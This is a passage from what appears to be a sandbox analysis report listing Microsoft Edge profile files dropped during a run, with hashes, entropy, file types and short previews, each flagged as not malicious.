Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377246500146251","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377246500146251","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\220a92da-d63c-4621-b38b-2f7a3e820d53.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13560
Entropy (8bit):	5.283414431333564
Encrypted:	false
SSDEEP:	192:stRJ99QTryDiuabatSuypVsFPsZih37zzOVafkvGI83bV+FpAQA66WxTlaFIMYjt:stRPGQSu4VsFPfh3lbGqQx6W9laTYR
MD5:	3903BCCF4C9891E9AD348264DD519716
SHA1:	EFD15D90047AA0C500AF96A59EB58580CF927880
SHA-256:	F5BD3A8BDBF2F4DF7D9D2BF943EA77BB12E816DCA67E276625FD375D5CF6F522
SHA-512:	C7301791BD76E8DB094FB0E2D431D73F26DA5816FBD7A21E4CCA4519592DADA849A878B66CB6837E35644A5AEF2B11AE13E3873B17A3526C80C58A0D6BC958BB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377246500701077","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\304a6395-6174-4865-8697-9f55705df23e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12486
Entropy (8bit):	5.208973852364242
Encrypted:	false
SSDEEP:	192:stRJ99QTryDigabatSuypVsFPsZihUkGGI83bV+FnAQA66WZaFIMYjPsYJ:stRPGKSu4VsFPfh5bGAQx6WZaTYR
MD5:	F117916DE145B7BDDB27912EE289A7EE
SHA1:	BB46BB5FA0DECE469F463B0D0531C1D33CCD99E7
SHA-256:	977F9FF5786C65CDE0A36AD3E8C63FA77F781670741AC63CDD7BADD6F3400A76
SHA-512:	4BBBEDBFFA4A20CE848A2F46019348E3CC1DC505062575DA84C103248CEB0AC99418713E4EE6132AEB13686C617BF11672429E0846F81B79BEEB7514D54FB24D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377246500701077","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\394a031a-ba02-4c86-afc5-88bbec44c3e6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\49b468f7-e361-403e-9cdd-edf4c6949b25.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567742871969483
Encrypted:	false
SSDEEP:	768:qmROakWPTbfsP8F1+UoAYDCx9Tuqh0VfUC9xbog/OV5ciilrwS+6pHtuk:qmROakWPTbfsPu1jasBiOetz
MD5:	653AE963F617D00DBE5FA0E5A436074B
SHA1:	B36B631E09B26907A47341C47D8629D911F86E59
SHA-256:	4355597D67459909AF2B7AF3B697667B8FEE735B2716358202CDAFC09DCE64F9
SHA-512:	9938D3E355E4B3BFC559DF74A56026449ABC69B56D921C7062BA65ADD2F3E3BF367FD80F0A934F26BA149FEE8339FD2BF047DEC584836C6AF741751B79342FB5
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377246500146251","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377246500146251","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\91024b4e-646d-473e-a724-24a55b428a22.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13560
Entropy (8bit):	5.283346513449345
Encrypted:	false
SSDEEP:	192:stRJ99QTryDiuabatSuypVsFPsZih37zzOVafkvGI83bV+FpAQA66WVTlaFIMYjt:stRPGQSu4VsFPfh3lbGqQx6WplaTYR
MD5:	CB4E94787F5AE2C146B92E50D410F2DD
SHA1:	B6902ABAC2593ABBF5E9A6CBDA3F59200FAC5115
SHA-256:	01F1F8B5B9FE1A3B78559BE1BB2B2586A20E28F85E783B96E6E4282AB457BB7F
SHA-512:	8580EFA37F05D7C4AC5E445C567F1DF549674588411158D79DDDF8433AAE26C417E43239C3D8BE6316B0D24395F90386EAA01B45A575BE787C9373B6FD0F4FA0
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377246500701077","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9da72e5e-e5e7-4833-ab9c-d2e3c9ca6c93.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.561347824000307
Encrypted:	false
SSDEEP:	768:qbDOyS7pLGLPGkWPTbfxP8F1+UoAYDCx9Tuqh0VfUC9xbog/OVg5rciplrwc5oqS:qbDOyqcPGkWPTbfxPu1jaJ5rBpOkoqps
MD5:	79E2EBAF61F1B98172DE882766303874
SHA1:	8DF0C933B3347F252969F84A50CDACFE23A3BBCF
SHA-256:	B2FC84BD48DA5F9D45D25F03FA4387363880C7E422514A4A8641CF229C13B6FF
SHA-512:	693403EC3B425E04A179ECCAF805E9A7346D6A89208F4639BCBB5FEC893FF82C49F79EE4DD138352032C6E9151DAADAC1A2C8A354F47D09BAD5018F15305C092
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377246500146251","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377246500146251","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.212457833202778
Encrypted:	false
SSDEEP:	6:HKNBJ1923oH+Tcwtp3hBtB2KLlVK2WM+q2P923oH+Tcwtp3hBWsIFUv:OkYebp3dFL/L+v4Yebp3eFUv
MD5:	C376350F5F1A002872D0DA8027A9E65D
SHA1:	B6503A3912B7B46E6D27F6896D370E64FD6A32A1
SHA-256:	1568AB9C46449314EAE5DE7C729905BBEDDDED56DFFEBD8F3359120B3802AA2D
SHA-512:	DECD5E871E77696964B777792CC5606842AED0469B8246837E1FFB38B9AA817F804D9FA66DE38B4F325A31B9A4F884895B92C8C409799F542EFF70B5B47D362E
Malicious:	false
Preview:	2024/11/28-00:48:26.150 d1c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/28-00:48:26.186 d1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222866420417817
Encrypted:	false
SSDEEP:	24576:v+/PN8FTfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8Jfx2mjF
MD5:	6536679F0A6DDA69382EC55BF5CD7A9E
SHA1:	2C15DD61A788A2F2708BB966E477E0A6DF670129
SHA-256:	18934DCA0682B3F7AD2E8D6928E62099242B1C80EC7B2C42AD8B957209FDF0A9
SHA-512:	3FC228E2E52B89E4F74979C7552D5CEE8A72A70689011A79BB11E9F2FD001882F68FBF4934528477C0C218855195A4CA2891AF46A6F9AD2DBE9AFC550312C1AB
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.148357416183656
Encrypted:	false
SSDEEP:	6:HK0CV+q2P923oH+Tcwt9Eh1tIFUt8YK0ZWZmw+YKCaVkwO923oH+Tcwt9Eh15LJ:za+v4Yeb9Eh16FUt8UE/+bV5LYeb9Ehx
MD5:	4F7E667EAACFDF8AFEEEA445DC802FA1
SHA1:	7440CC14DB176E27BD57F07096B02E58B4AE73C2
SHA-256:	A4439DF93F920920A12872D2E314B3B607CD07F81DBA5B04604A0322B1371930
SHA-512:	167346CC8F18E548A7BCBF0C1B7709CC7DD84CDFBB273A5A6C814DEB12DA827219EC8B4B267E49367FA41BF748B97E54C573E538E357E113CE74DCE64E51AC14
Malicious:	false
Preview:	2024/11/28-00:48:25.995 230c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/28-00:48:25.997 230c Recovering log #3.2024/11/28-00:48:26.015 230c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.148357416183656
Encrypted:	false
SSDEEP:	6:HK0CV+q2P923oH+Tcwt9Eh1tIFUt8YK0ZWZmw+YKCaVkwO923oH+Tcwt9Eh15LJ:za+v4Yeb9Eh16FUt8UE/+bV5LYeb9Ehx
MD5:	4F7E667EAACFDF8AFEEEA445DC802FA1
SHA1:	7440CC14DB176E27BD57F07096B02E58B4AE73C2
SHA-256:	A4439DF93F920920A12872D2E314B3B607CD07F81DBA5B04604A0322B1371930
SHA-512:	167346CC8F18E548A7BCBF0C1B7709CC7DD84CDFBB273A5A6C814DEB12DA827219EC8B4B267E49367FA41BF748B97E54C573E538E357E113CE74DCE64E51AC14
Malicious:	false
Preview:	2024/11/28-00:48:25.995 230c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/28-00:48:25.997 230c Recovering log #3.2024/11/28-00:48:26.015 230c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4628617037302565
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuNW:TouQq3qh7z3bY2LNW9WMcUvBuN
MD5:	D8DE2D2E708BA77DA9AAF2EC25AF68AE
SHA1:	8F2D83CC87C1D45425FD15E8CEC84CF4E57416FA
SHA-256:	89A0240F4AA3E5CE47B800C6BAFFAF137B9CECD14FEDA54A6815B3D109C92978
SHA-512:	26DFD4B77A8566D8DA3DDFD1DED68C90DF117FFA18630FA1DBAD64C9F9B77515A50D25102D76A683F594FFAAD2F61418970D58D68F860FE0C7DDE93E23EB9F50
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.175472947216105
Encrypted:	false
SSDEEP:	6:HKjMq2P923oH+TcwtnG2tMsIFUt8YKcZmw+YKJkwO923oH+TcwtnG2tMsLJ:iMv4Yebn9GFUt88/+p5LYebn95J
MD5:	D19956C38F6E39C19C49513FC55358A5
SHA1:	1466840C4CD682EF744F396880D788277332ED97
SHA-256:	1064C8458B2085AEA80FD2E6AFF3848385A37EB04308ACC7C9AC8D5F29726F2F
SHA-512:	CA3EDD89F7C3E12DE3E15EB435536BE3651ADB8FC93584CB8C8DF29377FE724B5E2935918C4A87440BB2F3FBDF8C77A172F6A97D40B502E8B224241CF7FC3B1D
Malicious:	false
Preview:	2024/11/28-00:48:20.175 1ce4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/28-00:48:20.176 1ce4 Recovering log #3.2024/11/28-00:48:20.177 1ce4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.175472947216105
Encrypted:	false
SSDEEP:	6:HKjMq2P923oH+TcwtnG2tMsIFUt8YKcZmw+YKJkwO923oH+TcwtnG2tMsLJ:iMv4Yebn9GFUt88/+p5LYebn95J
MD5:	D19956C38F6E39C19C49513FC55358A5
SHA1:	1466840C4CD682EF744F396880D788277332ED97
SHA-256:	1064C8458B2085AEA80FD2E6AFF3848385A37EB04308ACC7C9AC8D5F29726F2F
SHA-512:	CA3EDD89F7C3E12DE3E15EB435536BE3651ADB8FC93584CB8C8DF29377FE724B5E2935918C4A87440BB2F3FBDF8C77A172F6A97D40B502E8B224241CF7FC3B1D
Malicious:	false
Preview:	2024/11/28-00:48:20.175 1ce4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/28-00:48:20.176 1ce4 Recovering log #3.2024/11/28-00:48:20.177 1ce4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6130602123105244
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mW2MAq/iZ7dV:TLapR+DDNzWjJ0npnyXKUO8+jTp+mL
MD5:	7FE23B2AFB98265CF4807FD338F6F493
SHA1:	2531386D6A0900F1B4B2CB57F7E7540A7FC6E790
SHA-256:	AC11BD6090782159475CE8BFF5D1A647935D8C92C5644D92D85D4D22EF1B3431
SHA-512:	9DD0D5947EDA8DB925837214B0AB971758B15298332C141DEDC3D54399A1002BAC3EC8E6E54DF810E3802DC83BBF89D86B71F67E2DF8747FA2DAC93DE0DE0131
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354110090724124
Encrypted:	false
SSDEEP:	6144:zA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:zFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	6B14C090025FB6D715D54217DF80FFB1
SHA1:	B8993A01E5B333DDCC556DE96E1313BA05A1AFB8
SHA-256:	D14B5B6DD072B35E2349D247B193CFB67E047021A74F656652E5921A4CF5D552
SHA-512:	6B29BD209119213E28C5AA036D795194051AD46FBEA9227B50DE38CA6C844D897DCFEDEF0A56740717EB8AD54D9625F99668C1E0D49616541558DB7BDE47E086
Malicious:	false
Preview:	...m.................DB_VERSION.1.T.sq...............&QUERY_TIMESTAMP:domains_config_gz2...13377246509894863..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
